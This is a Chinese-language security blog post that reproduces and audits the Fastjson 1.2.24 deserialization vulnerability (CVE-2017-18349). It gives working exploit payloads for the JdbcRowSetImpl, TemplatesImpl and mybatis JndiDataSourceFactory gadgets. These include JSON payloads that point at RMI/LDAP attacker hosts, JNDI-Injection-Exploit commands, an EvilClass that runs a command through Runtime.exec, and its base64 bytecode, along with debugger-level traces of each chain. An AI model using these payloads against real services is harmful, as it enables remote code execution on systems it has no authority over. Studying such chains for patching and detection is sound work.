是一个特殊的字段,用于 指定 JSON 数据反序列化时的目标 Java 类 。它是 Fastjson 的 AutoType(自动类型识别) 功能的核心部分,但同时也是 Fastjson 历史上多个安全漏洞的根源。
@type
的作用就是用完整的包名定位原始类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;interface User { }class User1 { private String name; private int age; public User1 () {} public User1 (String name, int age) { this .age = age; this .name = name; } public int getAge () { System.out.println("调用1 getAge()" ); return age; } public void setAge (int age) { System.out.println("调用1 setAge()" ); this .age = age; } public void setName (String name) { System.out.println("调用1 setName()" ); this .name = name; } public String getName () { System.out.println("调用1 getName()" ); return name; } }class User2 implements User { private String name; private int age; public User2 () {} public User2 (String name, int age) { this .age = age; this .name = name; } public int getAge () { System.out.println("调用2 getAge()" ); return age; } public void setAge (int age) { System.out.println("调用2 setAge()" ); this .age = age; } public void setName (String name) { System.out.println("调用2 setName()" ); this .name = name; } public String getName () { System.out.println("调用2 getName()" ); return name; } }public class test { public static void main (String[] args) { User user = JSON.parseObject("{\"age\":18,\"name\":\"admin\"}" ,User.class); User user2 = JSON.parseObject("{\"@type\":\"org.example.User2\",\"age\":18,\"name\":\"admin\"}" ,User.class); System.out.println(user.getClass().getName()); System.out.println(user2.getClass().getName()); } }
存在的风险
自动类加载机制 :
FastJson 会根据 **@type**
的值动态加载类
攻击者可以指定任意存在于 classpath 中的类
FastJson 1.2.24 CVE-2017-18349 环境准备 需要jndi
远程加载恶意类,用JDK 8u101
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
maven构建
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion>4.0 .0 </modelVersion> <groupId>org.example</groupId> <artifactId>fastjson</artifactId> <version>1.0 -SNAPSHOT</version> <properties> <maven.compiler.source>1.8 </maven.compiler.source> <maven.compiler.target>1.8 </maven.compiler.target> <project.build.sourceEncoding>UTF-8 </project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .24 </version> </dependency> </dependencies> </project>
测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;public class FastJsonTest { public static void main (String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"rmi://192.168.100.128:1099/Exploit\"," + "\"autoCommit\":true" + "}" ; Object object = JSON.parse(payload); } }
复现 JdbcRowSetImpl java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'
审计 JdbcRowSetImpl 1 2 3 4 5 { "@type" :"com.sun.rowset.JdbcRowSetImpl" , "dataSourceName" :"ldap://192.168.196.128:1389/5ltgie" , "autoCommit" :true }
在反序列化的行打个断点
通过D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\JSONLexerBase.class:576
的scanSymbol
对序列化字符进行处理。
当匹配到一个完整的键值对之后,并且键为@type
时会进入D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class:274
这里对@type
的键值也就是com.sun.rowset.JdbcRowSetImpl
通过反射 loadClass 获取指定类的 Class 对象并赋值给变量 clazz
然后会调用D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\ParserConfig.class:273
的getDeserializer()
1 2 3 4 5 6 7 8 9 10 11 12 13 public ObjectDeserializer getDeserializer (Type type) { ObjectDeserializer derializer = (ObjectDeserializer)this .derializers.get(type); if (derializer != null ) { return derializer; } else if (type instanceof Class) { return this .getDeserializer((Class)type, type); } else if (type instanceof ParameterizedType) { Type rawType = ((ParameterizedType)type).getRawType(); return rawType instanceof Class ? this .getDeserializer((Class)rawType, type) : this .getDeserializer(rawType); } else { return JavaObjectDeserializer.instance; } }
然后会调用下面D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\parser\ParserConfig.class:287
的这个getDeserializer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 public ObjectDeserializer getDeserializer (Class<?> clazz, Type type) { ObjectDeserializer derializer = (ObjectDeserializer)this .derializers.get(type); if (derializer != null ) { return derializer; } else { if (type == null ) { type = clazz; } ObjectDeserializer derializer = (ObjectDeserializer)this .derializers.get(type); if (derializer != null ) { return (ObjectDeserializer)derializer; } else { JSONType annotation = (JSONType)clazz.getAnnotation(JSONType.class); if (annotation != null ) { Class<?> mappingTo = annotation.mappingTo(); if (mappingTo != Void.class) { return this .getDeserializer(mappingTo, mappingTo); } } if (type instanceof WildcardType || type instanceof TypeVariable || type instanceof ParameterizedType) { derializer = (ObjectDeserializer)this .derializers.get(clazz); } if (derializer != null ) { return (ObjectDeserializer)derializer; } else { String className = clazz.getName(); className = className.replace('$' , '.' ); for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("parser deny : " + className); } } if (className.startsWith("java.awt." ) && AwtCodec.support(clazz) && !awtError) { try { this .derializers.put(Class.forName("java.awt.Point" ), AwtCodec.instance); this .derializers.put(Class.forName("java.awt.Font" ), AwtCodec.instance); this .derializers.put(Class.forName("java.awt.Rectangle" ), AwtCodec.instance); this .derializers.put(Class.forName("java.awt.Color" ), AwtCodec.instance); } catch (Throwable var11) { awtError = true ; } derializer = AwtCodec.instance; } if (!jdk8Error) { try { if (className.startsWith("java.time." )) { this .derializers.put(Class.forName("java.time.LocalDateTime" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.LocalDate" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.LocalTime" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.ZonedDateTime" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.OffsetDateTime" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.OffsetTime" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.ZoneOffset" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.ZoneRegion" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.ZoneId" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.Period" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.Duration" ), Jdk8DateCodec.instance); this .derializers.put(Class.forName("java.time.Instant" ), Jdk8DateCodec.instance); derializer = (ObjectDeserializer)this .derializers.get(clazz); } else if (className.startsWith("java.util.Optional" )) { this .derializers.put(Class.forName("java.util.Optional" ), OptionalCodec.instance); this .derializers.put(Class.forName("java.util.OptionalDouble" ), OptionalCodec.instance); this .derializers.put(Class.forName("java.util.OptionalInt" ), OptionalCodec.instance); this .derializers.put(Class.forName("java.util.OptionalLong" ), OptionalCodec.instance); derializer = (ObjectDeserializer)this .derializers.get(clazz); } } catch (Throwable var10) { jdk8Error = true ; } } if (className.equals("java.nio.file.Path" )) { this .derializers.put(clazz, MiscCodec.instance); } if (clazz == Map.Entry.class) { this .derializers.put(clazz, MiscCodec.instance); } ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { Iterator var17 = ServiceLoader.load(AutowiredObjectDeserializer.class, classLoader).iterator(); while (var17.hasNext()) { AutowiredObjectDeserializer autowired = (AutowiredObjectDeserializer)var17.next(); Iterator var8 = autowired.getAutowiredFor().iterator(); while (var8.hasNext()) { Type forType = (Type)var8.next(); this .derializers.put(forType, autowired); } } } catch (Exception var12) { } if (derializer == null ) { derializer = (ObjectDeserializer)this .derializers.get(type); } if (derializer != null ) { return (ObjectDeserializer)derializer; } else { if (clazz.isEnum()) { derializer = new EnumDeserializer (clazz); } else if (clazz.isArray()) { derializer = ObjectArrayCodec.instance; } else if (clazz != Set.class && clazz != HashSet.class && clazz != Collection.class && clazz != List.class && clazz != ArrayList.class) { if (Collection.class.isAssignableFrom(clazz)) { derializer = CollectionCodec.instance; } else if (Map.class.isAssignableFrom(clazz)) { derializer = MapDeserializer.instance; } else if (Throwable.class.isAssignableFrom(clazz)) { derializer = new ThrowableDeserializer (this , clazz); } else { derializer = this .createJavaBeanDeserializer(clazz, (Type)type); } } else { derializer = CollectionCodec.instance; } this .putDeserializer((Type)type, (ObjectDeserializer)derializer); return (ObjectDeserializer)derializer; } } } } }
然后有一个检查类名是否在黑名单(denyList)中
黑名单只有java.lang.Thread
最后会反序列化生成com.sun.rowset.JdbcRowSetImpl
的实例,并调用其setter
方法
看一下JdbcRowSetImpl.class
C:\Program Files\Java\jdk1.8.0_101\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class:320
有一个connect
方法调用了lookup
查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
并且参数是this.getDataSourceName()
,在这里传入rmi
或者ldap
远程加载恶意类
然后找setter
方法C:\Program Files\Java\jdk1.8.0_101\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class:1286
1 2 3 4 5 6 7 8 9 public void setAutoCommit (boolean var1) throws SQLException { if (this .conn != null ) { this .conn.setAutoCommit(var1); } else { this .conn = this .connect(); this .conn.setAutoCommit(var1); } }
这里需要传入autoCommit
为一个布尔值true
和false
都行
利用链如下
1 JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JdbcRowSetImpl -> setAutoCommit() -> connect() -> getDataSourceName()
修复 默认关闭 autotype("autoTypeSupport": false)
,必须显式开启
增强checkAutoType
黑名单禁用**JdbcRowSetImpl**
FastJson 1.2.24 的一些其他Gadgets TemplatesImpl 不出网可用 复现 恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilClass extends AbstractTranslet { public EvilClass () {} @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException var1) { var1.printStackTrace(); } } }
编译并将字节码转为base64
1 2 javac .\EvilClass.java python -c "import base64; print(base64.b64encode(open('EvilClass.class','rb').read()).decode())"
payload
1 {"@type" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ,"_bytecodes" :["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ],"_name" :"EvilClass" ,"_tfactory" :{},"_outputProperties" :{}}
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class TemplatesImpl { public static void main (String[] args) { String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ; final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + byteCode + "\"]," + "\"_name\":\"EvilClass\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}}" ; System.out.println(payload); try { Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); } catch (Exception e) { } } }
审计 要用到TemplatesImpl
的非public
属性:outputProperties
和_bytecodes
由private
修饰,Fastjson
默认只会反序列化public
修饰的属性。
需要设置Feature.SupportNonPublicField(支持反序列化时使用非public修饰符的属性)
即需要调用parseObject()
或者parse()
时需要带上参数Feature.SupportNonPublicField
才能利用这个gadget
1 2 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField) JSON.parse(text1,Feature.SupportNonPublicField)
恶意类,必须继承AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class EvilClass extends AbstractTranslet { public EvilClass () {} @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException var1) { var1.printStackTrace(); } } }
测试demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.example;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;public class TemplatesImpl { public static void main (String[] args) { String byteCode = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBABVvcmcvZXhhbXBsZS9FdmlsQ2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAEADAAAAAYAAQAAAAsAAQANAA4AAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABAADwAAAAQAAQAQAAEADQARAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAVAA8AAAAEAAEAEAAIABIACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABkACQAcAAwAGgANABsAEQAeABMAAAAHAAJMBwAUBAABABUAAAACABY=" ; final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\"" + byteCode + "\"]," + "\"_name\":\"EvilClass\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}}" ; System.out.println(payload); try { Object object = JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); } catch (Exception e) { } } }
看一下TemplatesImpl
是怎么触发的
C:\Program Files\Java\jdk1.8.0_101\src.zip!\com\sun\org\apache\xalan\internal\xsltc\trax\TemplatesImpl.java
找_bytecodes``_name``_tfactor``_outputProperties
因为触发链子的起点肯定在setter
或者getter
方法,找以上属性的该方法
在getOutputProperties()
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
调用了newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
然后会调用getTransletInstance()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
这里会检查if (_name == null)
所以_name
字段不能为空
然后会调用**defineTransletClasses()**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
然后会检查_bytecodes
是否为空不是的话就会通过TransletClassLoader
加载外部字节码
并且这里实例化需要_tfactor
在_tfactory.getExternalExtensionsMap()
,没有该字段会抛出异常,即使是空的,但也是空对象能调用getExternalExtensionsMap()
返回null
而不是null.getExternalExtensionsMap()
抛出异常
这里加载_bytecodes
。并通过defineClass()
将字节码转换为 Class<?>
对象并执行静态方法
这里检查有没有继承AbstractTranslet
的类,如果没有就会抛出异常,这就是为什么poc的类需要继承AbstractTranslet
整个gadget
1 JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JdbcRowSetImpl -> getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass()
JndiDataSourceFactory 需要 mybatis依赖 复现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .24 </version> </dependency> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5 .7 </version> </dependency> </dependencies>
./java -jar ../JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc.exe' -A '192.168.100.128'
payload
1 2 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://192.168.100.128:1389/Exploit" }}
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package org.example;import com.alibaba.fastjson.JSON;public class FastJsonTest { public static void main (String[] args) { String payload = "{" + " \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + " \"properties\": {" + " \"data_source\": \"ldap://192.168.100.128:1389/Exploit\"" + " }" + "}" ; Object object = JSON.parse(payload); } }
审计 在D:\maven_repo\com\alibaba\fastjson\1.2.24\fastjson-1.2.24.jar!\com\alibaba\fastjson\util\TypeUtils.class:802
的loadClass
方法下个断点
然后调试
来到D:\maven_repo\org\mybatis\mybatis\3.5.7\mybatis-3.5.7.jar!\org\apache\ibatis\datasource\jndi\JndiDataSourceFactory.class
payload
1 2 3 4 5 6 { "@type" : "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory" , "properties" : { "data_source" : "ldap://attacker.com/exp" } }
字段为properties``data_source
,到这个类的gadget的起点肯定是properties
的getter
或者setter
,找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public void setProperties (Properties properties) { try { Properties env = getEnvProperties(properties); InitialContext initCtx; if (env == null ) { initCtx = new InitialContext (); } else { initCtx = new InitialContext (env); } if (properties.containsKey("initial_context" ) && properties.containsKey("data_source" )) { Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context" )); this .dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source" )); } else if (properties.containsKey("data_source" )) { this .dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source" )); } } catch (NamingException var5) { throw new DataSourceException ("There was an error configuring JndiDataSourceTransactionPool. Cause: " + var5, var5); } }
对data_source
调用了lookup
方法,可以jndi
注入
gadget
1 JSON.parse() -> scanSymbol()传入@type -> ParserConfig#checkAutoType -> TypeUtils.loadClass -> ObjectDeserializer -> JndiDataSourceFactory -> setProperties()
pom
